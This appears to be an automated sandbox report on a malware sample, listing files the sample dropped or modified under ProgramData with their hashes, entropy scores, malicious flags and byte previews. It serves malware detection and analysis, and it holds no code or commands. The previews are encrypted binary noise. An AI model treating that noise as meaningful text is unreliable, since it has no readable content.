C:\ProgramData\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.db Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	197144
Entropy (8bit):	7.998975479356837
Encrypted:	true
SSDEEP:	6144:v6ZH+9ygheqWDR5pXZQJflxlTyzHr/toBI:yZEygoqWd5BCfl7yXtd
MD5:	52D25D2395C02DBB438338505CC8DAC2
SHA1:	1E32A72C3A6CE34E631661CC8F4B2EF800E33370
SHA-256:	FAB7ACE186D2701D094078084DD1CD52F133344A00200AC63397A9D11C78CC01
SHA-512:	9371BF817BA1E605C86D3CCD6790752174347C6728825F6CE9AAFBD1C24C544C786E4EF92AF6B767B56EA77EFEF55730943A93390C7FFB7848BAB2E7D7B865B9
Malicious:	true
Preview:	.B.q...._..~3...Qr....."..G....'.G._.6+.,...u...A;?..W..j=.3H..B.!...Yh..r..^.}p+7v.V.a.~.."y.\cZ2},..W...f.,du....D.7.^.......0...4.u.sW3Ug.y...d.\p...E..F.R..Eb.g.....T.._.....=;\|.O.D...~...n^.@~.d7tw.E.!+..iY......g ies......sq.o......!..o#2%xD:...r.rv....n.N1.../...i..M..V.B.yz..J@...L#..a...UA!...fO.DD. F"......P-U...,VN.........-{/...l6......o.s8Pt..?,....!..je.<..)..u8.i.L!..X.%<u.....2.=>.s.ag..4K..X..+Z...{........'.......d/.J...x.c...f.-FM1k<_h...V..W.?O.p..D$..ym.Q.A@...O...A.X.f.2..`1...F.Z.."....2`[.z...}.....W$....W...i.IZX.z....._N.........8$[..tW:w.@t{.....(.C.D...r6..F.....X]Hf.\.$...v.U....7.x8a......../...^=GGM.R.h.h.T..x..;....o..%...I..g......I...@.QH....~D.@.......&1.Ko\|.0..Tw..,..b.#....C.q...29.7..nD..:..3.R......u..L.-.=.....:y....a...f..].}..$.B..-......}.w.........3b&...]......i.zG...d..j@..3.OvH.]WFI8.h.....T..B.....]]..:..j...O..4S........A.fJq^..s...&hf.79.%.Y K.z......MwN.v.A..z.....o.-@..r.,.g.#S{8..@.9.YD?1...ad

C:\ProgramData\Microsoft\SmsRouter\MessageStore\edb.chk Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	8728
Entropy (8bit):	7.979310995725035
Encrypted:	false
SSDEEP:	192:MpL1L+7/uTFAkn5BrNXBGonnydDH3w7iwR9cc354kB:MpL1LW/uRF5BrxBQDAr9c254kB
MD5:	4119ECF4471AC2A5F24AF1E9BBC2BCE9
SHA1:	10E55D85299FF6A8FC13BE27EAA4D7506F7B0DC5
SHA-256:	037D98FB122C0696070922DB805A886548EDBB5FE47383A92418175B165EFD50
SHA-512:	AB9545DAEA3339A544A4B615CA0981C6F952B90C937E96CAFCB11F29A45FC49B0AACD5DFD9CECE7A2D544154006D13237B25B9BAF6D318BD72A7522857E34BA8
Malicious:	false
Preview:	........1J.\........p.2>\...@...;!].2..}...Y\|.q7.bZ...o.M....x..n..'...W..G.......g./..y...^mP]...m.6..p...M.X.4H..X........E#,.C...9Z...,......gRv]..;e.LZc.n`rQh....\.q5...n....ae....._...Vtw.O.R.:..G6..=5C.s..V...........s...!..i.HR.............:;...;W.\....Y........U.g.....h{[n....L..=.l...%...........G.............0..HX.?/......N..y..m..V..L.iT.....;.6...ps......hH........@.$....F...;.(..c..;..\nD..w.m.b.._..N...Xf.).....ar,.g.0.d..z.:O ...{..$.t....'../.x..>.....i...#..f-..<....l.A .>...DI.. !.WS..V.t.}.H.w?&^.}...T.b..... .....z+,.7.k2..lf..I....l.....Y.~.B.V/.a.....#.\...>.$V..,..>.\|g....0~....g....}/..............LkF..,.g...Ze[...iM.)T.5a?.u!.3..MH......).e..1.~......>.......&Y6.U..L.)..-.Z.:ZL...{...QM......E@.\O...,U..K#...L...R)).E.@..Q..P.<.f.)@....t4.1L..y.....^..u.F.....{-..v=#y....f.{.2..}...F........9!..n.1.. ..!...%.S.o.......~2f....h.n._...8.....[.lOA.]...fZ.............I`(.......Ji...bJ+\|.4}U...p^.......X...d.2...

C:\ProgramData\Microsoft\SmsRouter\MessageStore\edbres00001.jrs Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	66072
Entropy (8bit):	7.997288658909811
Encrypted:	true
SSDEEP:	1536:w/UBupHvV6Gx4HjBfzRWIV87hvvXpgKEo8Ar+0rAsKZtffZn475wG:5BupHvLxARV87hXpCA2dZpfZ475T
MD5:	54BC72D936BBB638C4698A6094E8AE47
SHA1:	01A643CB452D32C84E7004238144E9D077D72FB8
SHA-256:	DA9B158BF394971B8CFA9DCDBB7E68A50C669211DC494D4ED89FD01A5588775D
SHA-512:	2DBE195ACD319D486A0A78B7DA9B1B3B2A88110CB86453E129810FE4EABCD6383E036CBBCD506D7EDFFBA1CEF70CCC8250BF2D277784781A26F0C3092E556051
Malicious:	true
Preview:	...Ue......K.1...u.......X...d.)...eqZ.-?...FA...Q.^..Y.,.#.L....Br.......f..bXZ.5.Kv...Oc...Q.s..Y..d.~V5j)..8Eh[.CiU.R..p..S.5....).j..SO..W./).I.Qt.8..........%de.I.I.O$..U...y..`...7....E..,...>.".`2....p..;.....It7a.@2..+b...2....&\|(..W.m.%Z.._...?..T?E..}..I.f.A6.1.Z!.>...;...y/...D[A.n$..0.......lY..C.L.....F?....h..........1.Y.".3......q-.u......=........}.T..e.@.&2..>n.n8.f<...3..#.F9.........fz.w..).r.j...t.~$+.k....G...w.`...%T.wd.....X..k.dPs...&.]..!Z!... ......(hD.r.Q.6.qx.L.....&.}..>.a.W..H.e.l#:.}S.n.....!\|.n......w..f..../...b........+.T....`e.'g.N....G.....f$b.X$.3ba...bL......X..g.;...XPNt.5.8e.m......5..i.....P...... ...U@...n...R...xj....S..JO@ml...8.cR.H_h.....2....plG...9.x.....f.d..C.p4[[g.9......nSa......h.....I.....>(....1.T5T..-\|y.T2..-...d....O;:....u..G.......dU..c. &z..Q.....a.M:..}...}..v.\| ...].....T!p2...r......r..8%c.^!..&...[..w.K...a..(.D....L..8..U...}T.0....&D....V...uA.`.._...X..u{2.. J.=$RF'.y

C:\ProgramData\Microsoft\SmsRouter\MessageStore\edbres00002.jrs Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	66072
Entropy (8bit):	7.997288658909811
Encrypted:	true
SSDEEP:	1536:w/UBupHvV6Gx4HjBfzRWIV87hvvXpgKEo8Ar+0rAsKZtffZn475wG:5BupHvLxARV87hXpCA2dZpfZ475T
MD5:	54BC72D936BBB638C4698A6094E8AE47
SHA1:	01A643CB452D32C84E7004238144E9D077D72FB8
SHA-256:	DA9B158BF394971B8CFA9DCDBB7E68A50C669211DC494D4ED89FD01A5588775D
SHA-512:	2DBE195ACD319D486A0A78B7DA9B1B3B2A88110CB86453E129810FE4EABCD6383E036CBBCD506D7EDFFBA1CEF70CCC8250BF2D277784781A26F0C3092E556051
Malicious:	true
Preview:	...Ue......K.1...u.......X...d.)...eqZ.-?...FA...Q.^..Y.,.#.L....Br.......f..bXZ.5.Kv...Oc...Q.s..Y..d.~V5j)..8Eh[.CiU.R..p..S.5....).j..SO..W./).I.Qt.8..........%de.I.I.O$..U...y..`...7....E..,...>.".`2....p..;.....It7a.@2..+b...2....&\|(..W.m.%Z.._...?..T?E..}..I.f.A6.1.Z!.>...;...y/...D[A.n$..0.......lY..C.L.....F?....h..........1.Y.".3......q-.u......=........}.T..e.@.&2..>n.n8.f<...3..#.F9.........fz.w..).r.j...t.~$+.k....G...w.`...%T.wd.....X..k.dPs...&.]..!Z!... ......(hD.r.Q.6.qx.L.....&.}..>.a.W..H.e.l#:.}S.n.....!\|.n......w..f..../...b........+.T....`e.'g.N....G.....f$b.X$.3ba...bL......X..g.;...XPNt.5.8e.m......5..i.....P...... ...U@...n...R...xj....S..JO@ml...8.cR.H_h.....2....plG...9.x.....f.d..C.p4[[g.9......nSa......h.....I.....>(....1.T5T..-\|y.T2..-...d....O;:....u..G.......dU..c. &z..Q.....a.M:..}...}..v.\| ...].....T!p2...r......r..8%c.^!..&...[..w.K...a..(.D....L..8..U...}T.0....&D....V...uA.`.._...X..u{2.. J.=$RF'.y

C:\ProgramData\Microsoft\User Account Pictures\defaultuser0.dat Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	536
Entropy (8bit):	7.538345339779098
Encrypted:	false
SSDEEP:	12:F4j3KmZMWGNPCs9NAOGAgduC8dfGyKufOTLzH+7CHv3kkIe8eDt:F4j3RMCsTAtARfZhhELzH+WPckh
MD5:	203EACC8B7AAA7168EC49C901576F2F2
SHA1:	BD2375E8CF5C16A6697A9524316DC8D8CFDF855B
SHA-256:	F7EDE56ADF645587C7F4F78C952354CF6EEFC92BAAA59E9C2C0480EFFFA906A1
SHA-512:	C5648A9BAAED967285B7951C680401E9ED5B6555B6C75D7969C63DC798EDF7857B4F853C45FC4E898C888521CE5B56D5E12E6DB88B1C98EEEECE470E96C64A73
Malicious:	false
Preview:	m.'.....~#...e.._.t.dr....[.4.C..i^.Y../..Wo..N..P}.Yi.C@...3r..'v....n.......)m.=~...=.h#dE....%...q.D..w.....Xy..^Ae<?.kIU..'4..?.&.W0...Jr..1P...v9.z./..../.1I.............{OK..."-...;4D$...'D.`......}u.w.h.....k.E...E.#.J..8....W2.#....%.H(..}..1..@HZ..O$.I...6o}]..>....O...........A.L..Y.<.........A%2....=C.yq.W`.H..X..V.........\|?.K..?YHZ.K '5.,.z-.u...06E..LZ.......=...s+}.....h....F.s...."..s...A..U.O...:...Ku..i.b.n..Cb.k.....C.s..m....f.^.5....i..Cm.J.N..n.......A..4............,...........

C:\ProgramData\Microsoft\User Account Pictures\guest.bmp Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	606744
Entropy (8bit):	7.999666177815733
Encrypted:	true
SSDEEP:	12288:1+DhjHvr+EqZ1/MXNrC6biyabfIu8Aq38PsxyVO/kATMXeaByOTjk:1+Dhjr+3ZVMXGpV8V38PsxbTMuaBO
MD5:	9656CF9501D67AA40C44493FF0DFAF36
SHA1:	E3BD0548E6E9D2F80D706353444180511021401F
SHA-256:	3D4D36EAF15C1DB4C16BAC894194DCB1591A93C1E6111EB203B4C73B5F3DD1C0
SHA-512:	6E53042890ABF48E3165574172D49CFABA6966F8AE161DC6009980D484837D616EB7D8B83CE232C0582874EF5A83EE947885967AEBD006BE2095C386E1D58B54
Malicious:	true
Preview:	B.Q.Ho..W.,..^..G.+.....).i%Lc..-)......y...x...D..h.A.+.-....mm.....(........HMx.h0,m;h..z.:..nk....g.7. X.I..J.0<...6..?QXkB^......LN..'..j..<.[.[KR8.tq..4[R9%.I....v...'-..O.a].......=.;^.........3..rYect\M...c.?.Y..m...adZ....4B..0Vh.k/M...jg......ru..Q..}..,...Z.Oh#V...Q..7.....O.'h..;.H....5.M.W}]W..-.."E..z.....U....%....z.9_....k.>...d.6..O5.nf"..=p....hn.......{.s.:..-x.<..I.c.>6O..?.....Ru........=h..l7....0..k..e...C[fU`X..3x........nM.o.B....ZaWv[..n..a...~.5.t`.uSmE....RE.....8..<...R[P..,>.\%...J.4......S.y.-g.... ..].C..//'....'.[....P...m.B].n......x......J.........d..U...G....4.mp.M.uw....0....-Z...h.a..%.v...,.....t......w.Y....>.....$..3.=<.u"-X.!...jOf.@o.\".)a....Lo1...n........&.y.N....e..0.sX..!..\.yYai'....I..,.R\Y..l.."dCk....'yF.........!..-=..[.:..C./.~.M..6.q;....."2.....<.}..4..W_i.....#0.5..0.%...lp=.l.+U..O.v4MN./.=k.....%...?..e.B..7./B...K_..Hz..Y......f&. n#..b.......J....-,64.Ds...q.`.0...

C:\ProgramData\Microsoft\User Account Pictures\guest.png Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	8728
Entropy (8bit):	7.981266687069345
Encrypted:	false
SSDEEP:	192:Ks0ksM55C844Ofm/T2zEKnIXfIaks1MAPjsQ8ZHSpo9r+54k8:vqM5/NOiTyEOIvIQiejf8ZHd454k8
MD5:	5C44B77E47C8510EBD9C2AB9DBFA99F0
SHA1:	3A89ED2AA647D05CDC8137B5A83D69F6661B3A37
SHA-256:	FEBB4788125726BF6398024425456D2E8C7C2EF14114CB8EC46A11F8ED1920AE
SHA-512:	2F5F34644C8044385A0AEEC76B92C7C5828B5409D53B9814AA22CA7F5D1A1F5E142CEC774EACD745BEDCCF4C8481744B21AA9A2839DDD430EB3C141575F29974
Malicious:	false
Preview:	z5.%....+.B.)........!7;Jr... ..x\....&..9G.R..h....H...P....Ty.>.........E.........\|.....\|....tA.7.$.;6....v..0.,.....F=..@...0....t5....... .j...Z.H.D.....F....l..}.....z...._...h..........4...@H.79..?..I...ft.e..@>..2x.B%.M.$Y3...YBc...u............=.)X`....G..93T.@1..G.N..}....%.<._.s_.cZ="F}...~.......!oT<f+;.4.7.....TZt.g.@.5".....Q.v..#.`/.O......6.\|.(... w.G\|.5.T.6....].Jm\|....nU....&...4........FT."....v.@.JWt+.t..dJ...p...84A.f..- .$f.d.b...)@.......Q..Ug..G^....J..]\|.1..MJ.{_........()Z\...Jw...a.}.!B.J$....C..W7..8....E...O....rv...g%..'Z..}YHk=.....H..ah.D...?...@V.=......e.s\|......e....V.@.;....^"yD.R..B.\..\|.7H..)#uQ...n...B.t...{.+b..xB.n.}1`...M......)V.LvD.(cV......._}[.I-..\........U`7'`....O\+././.'}....A.i2.NA.M...#.W.;;....\.\.......wH....'..Y7&..{.....7B.....Ms....."...v...%.."..ic7b...$Z....RC/.<.=.)....6../..4.V...ir[W...B>.~...e.......3..Y....l.u9..........vfa.\|...j...I.....a..R(..L....k0/I.c}CX..s.P...Ua....h...Z....w

C:\ProgramData\Microsoft\User Account Pictures\user.dat Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	536
Entropy (8bit):	7.538345339779098
Encrypted:	false
SSDEEP:	12:F4j3KmZMWGNPCs9NAOGAgduC8dfGyKufOTLzH+7CHv3kkIe8eDt:F4j3RMCsTAtARfZhhELzH+WPckh
MD5:	203EACC8B7AAA7168EC49C901576F2F2
SHA1:	BD2375E8CF5C16A6697A9524316DC8D8CFDF855B
SHA-256:	F7EDE56ADF645587C7F4F78C952354CF6EEFC92BAAA59E9C2C0480EFFFA906A1
SHA-512:	C5648A9BAAED967285B7951C680401E9ED5B6555B6C75D7969C63DC798EDF7857B4F853C45FC4E898C888521CE5B56D5E12E6DB88B1C98EEEECE470E96C64A73
Malicious:	false
Preview:	m.'.....~#...e.._.t.dr....[.4.C..i^.Y../..Wo..N..P}.Yi.C@...3r..'v....n.......)m.=~...=.h#dE....%...q.D..w.....Xy..^Ae<?.kIU..'4..?.&.W0...Jr..1P...v9.z./..../.1I.............{OK..."-...;4D$...'D.`......}u.w.h.....k.E...E.#.J..8....W2.#....%.H(..}..1..@HZ..O$.I...6o}]..>....O...........A.L..Y.<.........A%2....=C.yq.W`.H..X..V.........\|?.K..?YHZ.K '5.,.z-.u...06E..LZ.......=...s+}.....h....F.s...."..s...A..U.O...:...Ku..i.b.n..Cb.k.....C.s..m....f.^.5....i..Cm.J.N..n.......A..4............,...........

C:\ProgramData\Microsoft\User Account Pictures\pratesh.dat Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	536
Entropy (8bit):	7.538345339779098
Encrypted:	false
SSDEEP:	12:F4j3KmZMWGNPCs9NAOGAgduC8dfGyKufOTLzH+7CHv3kkIe8eDt:F4j3RMCsTAtARfZhhELzH+WPckh
MD5:	203EACC8B7AAA7168EC49C901576F2F2
SHA1:	BD2375E8CF5C16A6697A9524316DC8D8CFDF855B
SHA-256:	F7EDE56ADF645587C7F4F78C952354CF6EEFC92BAAA59E9C2C0480EFFFA906A1
SHA-512:	C5648A9BAAED967285B7951C680401E9ED5B6555B6C75D7969C63DC798EDF7857B4F853C45FC4E898C888521CE5B56D5E12E6DB88B1C98EEEECE470E96C64A73
Malicious:	false
Preview:	m.'.....~#...e.._.t.dr....[.4.C..i^.Y../..Wo..N..P}.Yi.C@...3r..'v....n.......)m.=~...=.h#dE....%...q.D..w.....Xy..^Ae<?.kIU..'4..?.&.W0...Jr..1P...v9.z./..../.1I.............{OK..."-...;4D$...'D.`......}u.w.h.....k.E...E.#.J..8....W2.#....%.H(..}..1..@HZ..O$.I...6o}]..>....O...........A.L..Y.<.........A%2....=C.yq.W`.H..X..V.........\|?.K..?YHZ.K '5.,.z-.u...06E..LZ.......=...s+}.....h....F.s...."..s...A..U.O...:...Ku..i.b.n..Cb.k.....C.s..m....f.^.5....i..Cm.J.N..n.......A..4............,...........

C:\ProgramData\Microsoft\User Account Pictures\user-192.png Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	8728
Entropy (8bit):	7.978229456741836
Encrypted:	false
SSDEEP:	192:uDMSoHOk7pfrsBOCssak76hD3Gqr5eUglgM87cupN54kR:ucHf7lsBuDv8UglgM87cupN54kR
MD5:	7DD336D9FC4DE5089973D7311469D49B
SHA1:	8BA54C912C280551D9D46871247CDDB0BCC4AEC4
SHA-256:	4DF0D039D2A216EE6B1306637F4FB10248376AF3F3588AF053231505F1CE1904
SHA-512:	19E22072D9BAFEEEE585F3FFBA52B3D4F4A2560B4B6520ECD290A5C7142076F8A83132292607EB9BE8F74FF60DEDD54505121430333D82503815D7E10EB1BF14
Malicious:	false
Preview:	z5.%....+.B.)........&...v...j+..W.....it.(...7...Q.!.M.u>.....!m"...".W.... ....n...^^i.....Q...pm5.I.......RK.F.._.w........I....&...........%.h....lzm....sk.+0...\..6d..a.}&..L......d.:m...<...D\|.!.."1....g.r1..y.ze..\|Q....FZdM.7,..LN.]\|..^...{s.....M.)........nbA.V.5.D.c?..Pv..0.Ox..l.....c..W..1J..T~T..(...Q.x...IH<.Z.%.o...6[..~...Q~x.^@.4Q..zP.c...$....).}..<..km.Fby...E........c.a.....}:bG4.n..V4..>.nm...Ll.n...:@...`...EX...._t.gTs}G........-...][B......Zb!.b. "f.....?w\|......&..+.\^......._...p..A.........l..4....:..tR.y....@.b...1......R.0..q.?......w.E..?.I..........t....O.....G8.Bu@.f6.i_.5B.k......=oF.......V^..H.T.k7^.Q.Jp._c.L.BV..#.VM..pq.?...r.y.Q7XZ..W.`..p.......Y...I.T.H.C%.lC..N.-Q2...+.M.(..I..:z..c1...L..R.A..'"@z.......M~.-ZA..U....N..B...\| ..'iUOj...t.Q.}$.3..3....P.?'.I.Kl.....41.X...10%.y..0...`7._.....,..X.>.b?...w..c.1O0J5 ..........5...FB..h2..^B..!t.........5.*r.:......m$..@P...m}.R......7..6S\|V..'.;...O.

C:\ProgramData\Microsoft\User Account Pictures\user-32.png Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	8728
Entropy (8bit):	7.97957307458919
Encrypted:	false
SSDEEP:	192:0AZWwHCGqwKF8nkuuBJrUqKgKhfhl+9c5vyQzC1Vz8bL3WI54kx:0iHC9wKFwaUqsbkYvyQzC1VUDWI54kx
MD5:	307608EA34024D27F266521D1D7A40DA
SHA1:	7C32B91678751963EDC601C481028B09002B6073
SHA-256:	BCB1CD29FC013363C1A716FE9FA0D7E4A8B55BC33351C0995915AABA40C610BC
SHA-512:	EC29F5FCBCB928D50DFCE40EB9141FCB1A16437B52C76B71ABEB1AD87252F7DF904C51E00CA9877388A2E95C1D77A2A6BB608A728E8F2227185C802DA31A264B
Malicious:	false
Preview:	z5.%....+.B.)....ux.........i.mT@.o...:...oB.o..'a.$..h...B=...'.~zn....M._.a{)).gK..\|........t.,.V..@X..@g...U...$3o..g'.(.....Y@p..........;...#..\..X.k.x..y'y.h.NQ.g..)3n>..T..e..n..06:nL....BR6.Nn.(n.l.xE.....z.......t.......~...8Dq......;..........~...7..g..qQ...R....C.....f.)M.s....&".c......u.0....;.....#.nh9....\..3/t..6..Z.,...X.....y.H.>.t..G.M...TG..Wr...Tb..d.v]-..#.....9P..bWG.]...\|..\......-U.....d.,.G..m.%r.-\|.An..OkF..u.%$.......>...DQ.....w.%..Z..?(.)H.\|.}..y.\|. 8.W...h....L. ..\H..U.I.{S.....V}.....Bm.).C.\.0I....B.qR2......Wo......qS...g. .f....%=.....o\..'......`...kW..c..vf._..... N.a...y^..;M.......>..'........-).2'{.s ..8.m...R...Yi....0s.K..I.%).$....`#..P...i.'.K.....+N....1%..<Z......}^......(.%l.V+:T.....v[.k....I...@..m..1.i..o....y.....h...K.m..`.5`N..?#..J.c.........M.X.;.d}....`."R..P...e..c..'.Z..mrQ*j#.>..%..?o.....1.{.1...i..rzK.."..a......f}..9J.l6N6. .i..`.5Q]..g....o...`..._.>'@%..\Jv..@.).=..y

C:\ProgramData\Microsoft\User Account Pictures\user-40.png Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	8728
Entropy (8bit):	7.979424582311386
Encrypted:	false
SSDEEP:	192:negdTvyAUYmDyX17O9o4pzRkMgzae4UgaD5fU+Pv60IN354kb:n5drSsXVuo4plkb74zG5f3He354kb
MD5:	22ADF1580EA656FE3E7D3C825EE38553
SHA1:	770341343B668035B3ACBEC4B96BD287D7F603DE
SHA-256:	88D51312C708F32D86D7575A69E28B63C615656E15449BA6371A10D83B945C71
SHA-512:	3F1ABF03A23BBCF5DF9D9F5249773B64B23B6832E63E11D87A6929A7360F259AF9331E53A33C311D2019A555FCEC420517AFB0B5B4E0716624331E9CE4B5F6B2
Malicious:	false
Preview:	z5.%....+.B.)....lC?....3_..m&=.....l...0..........\....w.Y.....j.;.F...H!.o.'`............,]..........0....].Dr}..Q....2?#G.~`...{...3Yk....).......2..9.+.g......,.).v^..1R_...z..a....q.9..s.6:93..<.....&.a.5.....1..=.eC..:x....\|./...[..m._q/...j.,.!.d.......M@.L1,..k..c....A.#....lf.8......p.f.8...0.j.zd......3.....X}k..k.......YL.b.G2.].#;.....-E..0G,...e.T!..r...7.r..A.M..C...<q..x_.,..{...Vf.-:.\1.1...W.....EtG`.\F..T....}.u.Kx.1C.:..[$..8...Fjt.6.Q..W.6.]8.@..p.%.Es.$lcj;$.5L.......~.........5.....e=....../%m......K.7f}.ArZ...@w...$2sZt..U..v.....r)_..M.l../.......\|...5>.....i..H.U.....3.8......>....S..?zC..t.+..2...U%.X...s,.s[..Q...x.%..Z.....v%up.x9.....\...A.H7...U.zyPT......Rv^.z.H<.9.....Re.LFdh.!...@...............j.pL<.K.H....E.c.Z-E.....N..Op\.p~g]:..kP.\..ee.YTE....'.,....9..o......3W..u..w.r.8!.,r....2ijE...LM_...8"....'.....A.K$k....&.Z-,Ox'n...e..b...@.^.....Xls?.<....5.'.......#...W..O...>/...z..:.q..Y.A{.M

C:\ProgramData\Microsoft\User Account Pictures\user-48.png Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	8728
Entropy (8bit):	7.978802951072278
Encrypted:	false
SSDEEP:	192:ULMSq0MwRcfSKjqygs3zXM2LKooGB3L59ZTsgtjsk19NWJ+d54kv:MMsMwRcfSKjdgsDcs3YgtQk1Rd54kv
MD5:	6C80B5350B2A073604B96D5ABA95FAE3
SHA1:	E72A4F452B217D3FB038C5CFC86797EA8C8A11A8
SHA-256:	122B1B6466C0A9CA9358A07FFCF4B40AD35AF4354BBEE632B860FA26D5216E14
SHA-512:	D125863E2D540FFB220C0E0D8B98BE96EEDAB49F091B6946A67C63570339D6E9E00ACBD68486AB7CF82B8CC43C2A008163B1D21D6C01D89C71EC2B1F0A3C5F0F
Malicious:	false
Preview:	z5.%....+.B.)...m..I.5O..!..F....o.M..f...WG..`...jD@\|.o..L.o.s..6..Gr.......\|......Aj.tv..1...I.A....Z(.s\|r.3...H...$.k%\\we......"....Mc...."g...S(..l.........G....7-..G3 ."..{..#...NG..}...+..=..-..O....D.\|.~V<.^{.K..;4.3...c......(.VA..7JX.X.T.. ..V..,."..a2.(.!.o....^8..f..8V..7.v.gE.3.K.akAe...5..z...E..8.I..!.7$u.{....V....7;H.)7.D.^....xZ....0..2.Ud.....(. .)...>fj>s......'..1........].SP.E.....'.I.....P..h.-?u.i.>2H....c..P;9....3lPm.A.S.B.n.@.M...D..$._...uLD..O...yu....:Ps.b.9rMf...!.K...N...~....).6......t........\..G.........UC....4....R...7.2.....b]..d_.f.....U.U..eh.X\|DJ....ZIH.E.Rd..O....tAC..r...Uu.c'on......-.b(..0..]..u.b..\|ea..z..wX...g.F.9VDE\.d....:.q`........AC..=..=....7P..A{....;...&N.r....).5=+.xF.....e..R.9.......Lo.....q....1/(....^........b....+..;,d.g..e..%..*..'7.J`.-A.c.)..a5!.}......Uy...e(.....}.....r.Qi..s..7<IE0.nk.3.5......oRJ. ...^0...I2@=....2...T...f.....:..p.u6.3..w......~.........n.Nd..G..(1

C:\ProgramData\Microsoft\User Account Pictures\user.bmp Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	606744
Entropy (8bit):	7.999666177815733
Encrypted:	true
SSDEEP:	12288:1+DhjHvr+EqZ1/MXNrC6biyabfIu8Aq38PsxyVO/kATMXeaByOTjk:1+Dhjr+3ZVMXGpV8V38PsxbTMuaBO
MD5:	9656CF9501D67AA40C44493FF0DFAF36
SHA1:	E3BD0548E6E9D2F80D706353444180511021401F
SHA-256:	3D4D36EAF15C1DB4C16BAC894194DCB1591A93C1E6111EB203B4C73B5F3DD1C0
SHA-512:	6E53042890ABF48E3165574172D49CFABA6966F8AE161DC6009980D484837D616EB7D8B83CE232C0582874EF5A83EE947885967AEBD006BE2095C386E1D58B54
Malicious:	true
Preview:	B.Q.Ho..W.,..^..G.+.....).i%Lc..-)......y...x...D..h.A.+.-....mm.....(........HMx.h0,m;h..z.:..nk....g.7. X.I..J.0<...6..?QXkB^......LN..'..j..<.[.[KR8.tq..4[R9%.I....v...'-..O.a].......=.;^.........3..rYect\M...c.?.Y..m...adZ....4B..0Vh.k/M...jg......ru..Q..}..,...Z.Oh#V...Q..7.....O.'h..;.H....5.M.W}]W..-.."E..z.....U....%....z.9_....k.>...d.6..O5.nf"..=p....hn.......{.s.:..-x.<..I.c.>6O..?.....Ru........=h..l7....0..k..e...C[fU`X..3x........nM.o.B....ZaWv[..n..a...~.5.t`.uSmE....RE.....8..<...R[P..,>.\%...J.4......S.y.-g.... ..].C..//'....'.[....P...m.B].n......x......J.........d..U...G....4.mp.M.uw....0....-Z...h.a..%.v...,.....t......w.Y....>.....$..3.=<.u"-X.!...jOf.@o.\".)a....Lo1...n........&.y.N....e..0.sX..!..\.yYai'....I..,.R\Y..l.."dCk....'yF.........!..-=..[.:..C./.~.M..6.q;....."2.....<.}..4..W_i.....#0.5..0.%...lp=.l.+U..O.v4MN./.=k.....%...?..e.B..7./B...K_..Hz..Y......f&. n#..b.......J....-,64.Ds...q.`.0...

C:\ProgramData\Microsoft\User Account Pictures\user.png Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	8728
Entropy (8bit):	7.981266687069345
Encrypted:	false
SSDEEP:	192:Ks0ksM55C844Ofm/T2zEKnIXfIaks1MAPjsQ8ZHSpo9r+54k8:vqM5/NOiTyEOIvIQiejf8ZHd454k8
MD5:	5C44B77E47C8510EBD9C2AB9DBFA99F0
SHA1:	3A89ED2AA647D05CDC8137B5A83D69F6661B3A37
SHA-256:	FEBB4788125726BF6398024425456D2E8C7C2EF14114CB8EC46A11F8ED1920AE
SHA-512:	2F5F34644C8044385A0AEEC76B92C7C5828B5409D53B9814AA22CA7F5D1A1F5E142CEC774EACD745BEDCCF4C8481744B21AA9A2839DDD430EB3C141575F29974
Malicious:	false
Preview:	z5.%....+.B.)........!7;Jr... ..x\....&..9G.R..h....H...P....Ty.>.........E.........\|.....\|....tA.7.$.;6....v..0.,.....F=..@...0....t5....... .j...Z.H.D.....F....l..}.....z...._...h..........4...@H.79..?..I...ft.e..@>..2x.B%.M.$Y3...YBc...u............=.)X`....G..93T.@1..G.N..}....%.<._.s_.cZ="F}...~.......!oT<f+;.4.7.....TZt.g.@.5".....Q.v..#.`/.O......6.\|.(... w.G\|.5.T.6....].Jm\|....nU....&...4........FT."....v.@.JWt+.t..dJ...p...84A.f..- .$f.d.b...)@.......Q..Ug..G^....J..]\|.1..MJ.{_........()Z\...Jw...a.}.!B.J$....C..W7..8....E...O....rv...g%..'Z..}YHk=.....H..ah.D...?...@V.=......e.s\|......e....V.@.;....^"yD.R..B.\..\|.7H..)#uQ...n...B.t...{.+b..xB.n.}1`...M......)V.LvD.(cV......._}[.I-..\........U`7'`....O\+././.'}....A.i2.NA.M...#.W.;;....\.\.......wH....'..Y7&..{.....7B.....Ms....."...v...%.."..ic7b...$Z....RC/.<.=.)....6../..4.V...ir[W...B>.~...e.......3..Y....l.u9..........vfa.\|...j...I.....a..R(..L....k0/I.c}CX..s.P...Ua....h...Z....w

C:\ProgramData\Microsoft\Windows Defender\Scans\mpenginedb.db Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	modified
Size (bytes):	139264
Entropy (8bit):	7.998662166297375
Encrypted:	true
SSDEEP:	3072:n60H3yxIYhnpV0JjvadAVWzpOYd1EvhGUSTHo3sOEHraBeUa3:F3yRhnkRujp4hlN3sj+a3
